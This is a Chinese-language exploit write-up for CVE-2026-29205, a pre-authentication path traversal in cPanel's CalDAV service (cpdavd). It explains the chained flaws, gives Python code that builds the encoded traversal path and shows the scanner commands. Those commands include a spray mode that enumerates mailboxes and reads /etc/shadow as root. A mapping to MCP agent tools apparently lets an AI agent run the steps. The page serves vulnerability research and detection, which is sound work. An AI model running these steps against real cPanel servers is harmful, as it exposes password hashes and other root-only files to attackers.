Skip to content

cPanel CalDAV 预认证路径穿越(CVE-2026-29205) ​

1. 受影响版本 ​

cPanel / WHM,修复版本:cPanel 11.134.0.26。暴露端口:2079 (HTTP) / 2080 (HTTPS)。

2. 根因:三层漏洞链 ​

第一层:CalDAV 附件读取路径预认证可达

cpdavd 的 managed attachment GET handler 处理:

/calendars/<principal>/<collection>/<attachment-path>

特定情况下无需认证即可进入后续文件读取逻辑。

第二层:先正则校验,后 URL 解码

perl
# 正则检查原始 URI(%2F 只是普通字符)
^/calendars/([^/]+)/([^/]+)(/.*)?
^/.+-attachment-(.+)-(.+)$

# 路径通过校验后才 URL 解码
URI::Escape::uri_unescape($attachment_full_path)

于是 %2F 在解码后变成真正的斜杠:

校验时:..%2F..%2F..%2Fetc%2Fshadow
读取时:../../../etc/shadow

第三层:权限降级对象生命周期错误

perl
# 有漏洞:临时对象立即析构
'Cpanel::AccessIds::ReducedPrivileges'->new($system_owner);
# 语句结束 → 析构 → 权限恢复为 root

# 修复:绑定到词法变量
my $privs = Cpanel::AccessIds::ReducedPrivileges->new($system_owner);

3. 攻击链路 ​

攻击者 → SMTP 投递 user+x-attachment-1-y@domain 邮件
    → Dovecot 自动创建 .x-attachment-1-y Maildir 目录
    → 请求 cpdavd /calendars/... 路径(含 %2F 编码斜杠)
    → 正则通过 → URL 解码 → 路径穿越
    → 权限降级对象过早析构 → 以 root 读取文件

4. 路径构造 ​

python
parts = [".."] * 3
parts.extend(["mail", domain, local_part, f".{folder_name}", "new"])
parts.extend([".."] * 9)
parts.extend(file_path.lstrip("/").split("/"))
return f"/calendars/{principal}/{collection}/{'%2F'.join(parts)}"

脚本在两个 collection 下尝试:calendar / addressbook,两个端口:2080 / 2079。

5. 前置条件 ​

条件说明
cpdavd 可访问2079 / 2080 端口开放
有效虚拟邮箱必须是 cPanel Email Accounts 创建的真实邮箱
可投递邮件攻击者能通过 SMTP 投递到该邮箱
Maildir 自动创建plus alias 触发 Dovecot 创建 .x-attachment-1-y 目录

6. 复现 ​

bash
# 安装依赖
pip install -r exploit/requirements.txt

# 配置 SMTP
cp exploit/scanner.ini.example exploit/scanner.ini
# 编辑 SMTP 配置

# 指定目标邮箱(推荐,更稳定)
python3 exploit/scanner.py --config scanner.ini --email admin@example.com example.com

# 自动 spray 模式(从证书 SAN 提取域名 + 邮箱前缀枚举)
python3 exploit/scanner.py --config scanner.ini --exploit example.com

等待 Maildir 落盘 ​

python
CALDAV_DEFAULT_WAIT_LADDER = [5, 10, 20, 30]  # 秒

每等一轮尝试一次 CalDAV 读取,默认最长约 65 秒。

7. 默认读取目标 ​

/etc/shadow — 修复前 root 权限读取有内容,修复后普通用户权限返回空,用于区分修复前后。

8. 预期输出 ​

text
[!] host  caldav-traversal  VULNERABLE via admin@host (read 1842b from /etc/shadow)
[+] host  caldav-traversal  NOT VULNERABLE
[?] host  caldav-traversal  CONNECTION FAILED

Evidence ​

记录: CalDAV 请求/响应、读取文件字节数、文件内容前 200 字节、邮箱投递状态

MCP 工具映射 ​

攻击步骤MCP 工具说明
知识检索kb_router按 cPanel / CalDAV / 路径穿越信号搜索
HTTP 探测http_probe确认 cpdavd 端口可达
写分析笔记workspace_write_text记录扫描结果

参考资料 ​

来源链接
cPanel 安全公告https://support.cpanel.net/hc/en-us/articles/40437020299927
Searchlight Cyber 分析https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205
本仓库工具CVE-2026-29205/exploit/scanner.py
poc-lab 源https://github.com/Unclecheng-li/poc-lab/tree/main/CVE-2026-29205 cPanel2Shell-Scanner

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用